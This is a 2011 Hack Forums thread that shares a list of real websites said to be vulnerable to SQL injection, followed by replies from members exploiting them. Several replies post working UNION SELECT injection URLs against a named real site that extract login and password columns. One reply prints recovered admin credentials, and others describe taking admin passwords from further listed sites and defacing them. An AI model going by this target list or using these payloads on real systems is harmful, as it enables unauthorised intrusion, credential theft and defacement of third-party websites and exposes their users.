

Forum:[Hack Forums](#)

Thread: [SQL Injection \[Vulnerable Sites List\]](#)

Scrat - November 15, 2011, 12:32 pm

SQL Injection [Vulnerable Sites List]

By receiving these sites you agree that:

The author is not responsible in anyway for any kind of harm done to the sites.
These sites are for educational purposes only and for no site harm.

Code <http://www.pouke.org/news.php?do=print&id=3471&cid=1>

<http://www.riyadhtennis.com/news.php?id=26>

http://www.hispanicheritage.org/press_news.php?id=180

<http://nybmwcca.org/news.php?id=42>

<http://www.mesquitelocalnews.com/news.php?id=47&t=Police+Blotter>

http://www.hispanicheritage.org/press_news.php?id=188

<http://www.ecua-andino.com/hats/eng/news.php?id=7>

<http://www.brew-monkey.com/news.php?id=465>

<http://joejackson.com/news.php?id=83&m=09&y=2007>

<http://www.biostar-usa.com/app/en-us/news/news.php?id=31>

http://apiexchange.com/index_main.php?id=1

<http://www.misqueridosmuebles.com/main.php?id=30300>

<http://www.welcomearmenia.com/main.php?id=7&sid=203&lang=eng>

<http://www.vees.com.my/cms/main.php?m=Content&op=page&id=314>

http://update.carlsonsw.com/kbase_main.php?action=display_topic&topic_id=306

http://apiexchange.com/index_main.php?id=8&idz=195

http://www.negociosgt.com/main.php?idioma=ENG&show_empresas=1&id_area=3&id_categoria_servicio=9&id_sub_categoria_servicio=33&id_empresa=64

http://apiexchange.com/index_main.php?id=8&idz=195

http://kirstenbrydum.virtual-memorials.com/main.php?action=view&mem_id=14816&page_no=1

<http://www.familyfed.org/truefamily/main.php?id=24>

<http://www.peterduff.com/main.php?ID=1>

http://www.virtual-memorials.com/main.php?action=view&mem_id=8409

<http://elnaggarzr.com/en/main.php?id=7>

http://www.cristal.com.hk/products_main.php?bn_id=2

<http://www.marsfigures.com/main.php?id=2>

http://www.neochim.bg/main.php?module=content&cnt_id=1&lang_id=2

<http://www.newyorkfestivals.com/main.php?p=3,1&wp=info&id=406097>

http://www.womex.com/realwomex/main.php?id_headings=145&id_realwomex=13

http://www.visitremax.com.cn/main.php?web=7&ep_id=78

<http://www.maxfitmag.com/main.php?cat=1&id=340>

http://chip-hankins.virtual-memorials.com/main.php?action=reflections&mem_id=13147

http://www.inter-asia.com.my/main.php?section=product&page=product_view&category_id=1&subcategory_id=10

http://www.cabanasuiza.com/main.php?parent_id=&id_area=55&idioma=ENG
<http://www.constructionspares.com/main.php?ID=6>
<http://delmaralumni.com/readNews.php?id=20>
<http://www.hotproperties-bayarea.com/readnews.php?id=2>
<http://hcopa.com/readnews.php?id=42>
<http://www.m.worldstagegroup.com/readnews.php?id=3072&active=news>
<http://www.feat.or.th/readnews.php?id=72>
<http://www.olografix.org/krees/dfnet/html/readnews.php3?ID=78>
<http://www.koreasarang.com/readnews.php?id=850>
<http://markhiya.com/readnews.php?id=5>
<http://www.notebookfocus.com/readnews.php?id=657>
<http://www.ptmdusa.com/website.php?id=21&country=6&countrychoose=1>
http://www.dierenforum.nl/forum/website.php?page_id=6&web_id=170
<http://ethansreview.com/website.php?id=15>
http://www.ducknet.co.uk/academic/title.php?titleissue_id=75
<http://dvdholocaust.com/review.php?id=577>
<http://www.renegaderecon.com/review.php?id=14>
<http://www.solotripping.com/review.php?id=57>
<http://www.worstpreviews.com/review.php?id=874>
<http://www.bgra.net/2004/review.php?id=628&type=bass>
<http://www.dvdmaniacs.net/review.php?id=1251>

http://travelnotes.cc/reviews/view_detailed_review.php?location_id=1&review_id=909&cat_name=R
[estaurants&item_name=Senior%20Frogs&cat_id=6&ratings_val=12](http://travelnotes.cc/reviews/view_detailed_review.php?location_id=1&review_id=909&cat_name=R)
<http://kromann.info/article.php?Id=11062862408280000>
<http://www.geneticsandsociety.org/article.php?id=282>
<http://www.plusline.org/article.php?id=6068>
http://www.chaosium.com/article.php?story_id=87
<http://help.websitesettings.com/article.php?id=193>
<http://www.hebron.com/english/article.php?id=273>
<http://kromann.info/article.php?Id=11062861865960000>
http://www.chaosium.com/article.php?story_id=73
<http://www.kidneytimes.com/article.php?id=20070725193511>
http://www.chaosium.com/article.php?story_id=73
<http://kb.calyxsupport.com/kb/article.php?id=308>
http://www.westbury.com/article.php?article_id=117
http://capitalpaving.net/m/content/article.php?content_id=19
http://www.namcap.net/view_product.php?id=31
<http://www.istl.com/view-product.php?ID=56>
http://www.precisionbiologic.com/products/view_product.php?id=5
http://www.robertoswinds.com/view_product.php?prod_id=2203
http://promax.ie/view_product.php?id=5
<http://princesspaper.com/pages/view-product.php?id=2>
http://www.coastal-koi.com/view_product.php?id=1566
http://www.aisonic.com/view/product.php?product_ID=106&channel_ID=17&subject_ID=90
http://www.beemabuild.co.uk/view_product.php?id=258
http://www.wigglespets.com/view_product.php?id=12

http://shanahansupply.com/view_product.php?id=156&category=6&subcat=11&title=Iron%20Clad%20Type%20N%20Light%20Masonry%20Cement
<http://www.esp-carpgear.com/viewProduct.php?id=220>
http://www.kusuri.co.uk/view_product.php?id=245
http://www.robertoswinds.com/view_product.php?prod_id=2429

http://www.number1promotions.com/view_product.php?cat_id=155&sub_cat=163
http://www.ada-services.co.uk/viewProduct.php?item_id=10 @ item_id
http://sassypropromoproducs.com/view_product.php?cat_id=6369&sub_cat=6388

SIM-974023 - November 15, 2011, 12:34 pm

Yay, Decent list!
Thanks for the share bro...

alibaba12 - November 15, 2011, 1:30 pm

ive try the 3rd site
ive found out the table 'members' and those columns inside :
member_id,firstname,lastname,login,passwd
but when ive try this i getting error :S :

view-source:www.beemabuild.co.uk/view_product.php?id=1+union+all+select+null,null,group_concat(login,0x3a,passwd)from%200x6d656d62657273--
why that?

Scrat - November 15, 2011, 1:33 pm

(Nov 15, 2011 02:30 PM)alibaba12 Wrote: [\[CITE\]](#) ive try the 3rd site
ive found out the table 'members' and those columns inside :
member_id,firstname,lastname,login,passwd
but when ive try this i getting error :S :

view-source:www.beemabuild.co.uk/view_product.php?id=1+union+all+select+null,null,group_concat(login,0x3a,passwd)from%200x6d656d62657273--
why that?

Try without hexing the "members" string. Also why do you have 200x before the hex and not 0x?

jappuli - November 15, 2011, 1:51 pm

(Nov 15, 2011 02:33 PM)Ma3x- Wrote: [\[CITE\]](#) Try without hexing the "members" string. Also why do you have 200x before the hex and not 0x?
It is actually 0x, it's just a "space" that turns into "%20" on the address bar in front of the 0x :)

Geld - November 15, 2011, 1:53 pm

Thanks alot for this nice list! Will use it later.

Scrat - November 15, 2011, 1:56 pm

(Nov 15, 2011 02:51 PM)jappuli Wrote: [\[CITE\]](#) It is actually 0x, it's just a "space" that turns into "%20" on the address bar in front of the 0x :)
Right, lol I actually didn't spot that...
My bad. ?

alibaba12 - November 15, 2011, 6:43 pm

ive try without hex that why i try hex ^_^.
:S other idea?:)

Scrat - November 16, 2011, 12:29 am

(Nov 15, 2011 07:43 PM)alibaba12 Wrote: [\[CITE\]](#) ive try without hex that why i try hex ^_^.
:S other idea?:)
Then it's another type of injection.

-DownFall - November 16, 2011, 2:27 am

(Nov 15, 2011 07:43 PM)alibaba12 Wrote: [\[CITE\]](#) ive try without hex that why i try hex ^_^.
:S other idea?:)

Code

[http://www.beemabuild.co.uk/view_product.php?id=-1+union+select+1,2,group_concat\(login,0x3a,p](http://www.beemabuild.co.uk/view_product.php?id=-1+union+select+1,2,group_concat(login,0x3a,passwd)+from+members--)
asswd)+from+members--

Code admin:505be7e39328a96ccf09e6ebbf94b83e

Code admin:005zavBQL

There was no need to hex the table name, works fine like that ^.

?

Scrat - November 16, 2011, 2:40 am

I stated that in my first post DownFall. it seems that he didn't listen.

-DownFall - November 16, 2011, 3:42 am

(Nov 16, 2011 03:40 AM)Ma3x- Wrote: [\[CITE\]](#) I stated that in my first post DownFall. it seems that he didn't listen.

Obviously not lol.

Anyways, thanks for the list!

alibaba12 - November 16, 2011, 6:50 am

why you dont put ' before and after the members? that string no?

pwndmin - November 16, 2011, 9:43 am

i liked this one

<http://hcpya.com/>

..

akshayhaldipur - November 16, 2011, 1:19 pm

i have found the admin/pass for the thrid link i.e.

http://www.hispanicheritage.org/press_news.php?id=180

and also the login page. But i am unable to connect. Is it anything to do with the country region??
can someone plz help me out???

Pvsxe - November 17, 2011, 9:10 am

(Nov 16, 2011 02:19 PM)akshayhaldipur Wrote: [\[CITE\]](#) i have found the admin/pass for the thrid link i.e. http://www.hispanicheritage.org/press_news.php?id=180

and also the login page. But i am unable to connect. Is it anything to do with the country region??
can someone plz help me out???

dind't work by me neither, probally it is country region login..

Prominent - November 19, 2011, 12:24 am

Not bad for a vulnerable site list, keep updating it ;)

Scrat - November 22, 2011, 10:41 am

Bump so more people can see this and like it.

TheIndex - November 22, 2011, 1:01 pm

Feeling bad SQLI this:

http://kirstenbrydum.virtual-memorials.com/main.php?action=view&mem_id=14816&page_no=1

:/ I don't know if I should or not :s.

-DownFall - November 22, 2011, 2:05 pm

(Nov 22, 2011 02:01 PM)TheIndex Wrote: [\[CITE\]](#) Feeling bad SQLI this:

http://kirstenbrydum.virtual-memorials.com/main.php?action=view&mem_id=14816&page_no=1

:/ I don't know if I should or not :s.

Nothing wrong with it, you should actually try and get user info and send an email to the webmaster about his vulnerabilities. Just don't deface it.

kinglaz - November 22, 2011, 4:08 pm

http://www.hispanicheritage.org/press_news.php?id=180

yeah i got into this one aswel.. But esshh i cant connect..

YMCMB™ - November 22, 2011, 7:55 pm

Once you deface it and get the username and pass were do I log in at?

-DownFall - November 22, 2011, 8:01 pm

(Nov 22, 2011 08:55 PM)PageMaster Wrote: [\[CITE\]](#) Once you deface it and get the username and pass were do I log in at?

You have to find the admin panel, and you can't deface it until you get in.

rand0 - November 22, 2011, 9:02 pm

<http://www.aisonic.com> dibs! :)

or maybe kidneytimes.com instead. I probs won't deface any though. Just wanna get more xp :) Anyone have any blind sqli vulns, by the way? I need the practice. I feel like version 5 is getting a bit too easy for me at this point.

-DownFall - November 22, 2011, 9:35 pm

(Nov 22, 2011 10:02 PM)3k1yp2 Wrote: [\[CITE\]](#) <http://www.aisonic.com> dibs! :)

or maybe kidneytimes.com instead. I probs won't deface any though. Just wanna get more xp :) Anyone have any blind sqli vulns, by the way? I need the practice. I feel like version 5 is getting a bit too easy for me at this point.

A lot of sites vulnerable to basic injection are also vulnerable to blind injection.

rand0 - November 23, 2011, 7:05 am

(Nov 22, 2011 10:35 PM)DownFall. Wrote: [\[CITE\]](#) A lot of sites vulnerable to basic injection are also vulnerable to blind injection.

I know, but I want a version 4. I don't want a lot of the nice stuff you can do in version 5 like schema and group_concat and whatnot. I suppose I could look up all the things you can't do and not do them, but I sort of want to try a real live case. I'll probably take your advice if I can't find any on my own soon, so thanks!

berg - November 28, 2011, 12:20 pm

Thanks for sharing this list mate. I really appreciate this.

Chronos™ - November 28, 2011, 1:50 pm

thanks helpfull, i searched for some vulnerable sites